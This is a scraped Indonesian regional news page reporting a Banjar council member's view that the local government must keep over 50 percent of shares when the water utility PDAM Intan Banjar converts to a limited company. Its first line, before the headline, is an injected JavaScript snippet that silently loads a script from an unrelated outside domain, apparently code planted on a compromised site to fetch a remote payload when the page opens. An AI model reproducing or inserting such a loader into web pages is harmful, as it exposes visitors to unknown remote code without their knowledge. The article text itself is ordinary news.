(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PDAM Intan Banjar Jadi PT, DPRD Banjar: Saham Pemda Harus di Atas 50 Persen


MARTAPURA, Ketua Komisi II DPRD Kabupaten Banjar Kamaruzzaman menekankan saham pemerintah daerah Kabupaten Banjar harus di atas 50 persen. Apabila ada perubahan status yang sebelumnya Perusahaan Daerah Air Minum (PDAM) Intan Banjar menjadi Perseroan Terbatas (PT).

“Mau tidak mau apabila mengacu pada PP nomor 54 tahun 2017 tentang Badan Usaha Milik Daerah (BUMD), tahun 2019 ini PDAM Intan Banjar harus berubah status menjadi Perseroan Terbatas (PT),  namun saham kita harus ada di atas 50 persen,” katanya.

Walaupun dirinya tidak menjelaskan secara pasti berapa total saham yang ada di PDAM intan Banjar saat ini, Kharuzzaman menyebutkan, seiring perubahan status tersebut harusnya PDAM intan Banjar dapat lebih meningkatkan lagi cakupan layanan air bersih hingga ke daerah terpencil di Kabupaten Banjar. Sehingga otomatis ada peningkatan kontribusi untuk daerah.

“Laba bersih dari PDAM itu harus disetoran ke pemerintah daerah, namun harus dikembalikan PDAM itu sendiri sebagai penyertaan modal,” katanya.

Lebih jauh Anggota DPRD Banjar yang kembali terpilih ini mengatakan, dalam aturan baru PP yang merupakan turunan dari UU nomor 24 tentang pemerintah daerah yang mengatur khusus tentang BUMD.

“Saat ini, bentuk dari BUMD ada dua, yaitu perusahaan umum daerah atau perseroan daerah. Perusahaaan umum daerah merupakan BUMD yang modalnya dimiliki stau daerah dan tidak terbagi atas saham,” ujarnya.

Sementara untuk perseroan daerah, berbentuk perseroan terbatas yang modalnya terbagi dalam saham yang seluruhnya atau paling sedikit 51 persen dimiliki oleh satu daerah. Perseroan daerah ini bisa dimiliki oleh lebih dari satu daerah.

Dasar dari pendirian BUMD ini dalam bunyi pasal 9 adalah kebutuhan daerah dan juga kelayakan bidang usaha BUMD yang akan dibentuk. Kebutuhan daerah yang dimaksud adalah dalam hal pelayanan umum dan juga kebutuhan masyarakat. (rendy) 

Reporter:Rendy
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.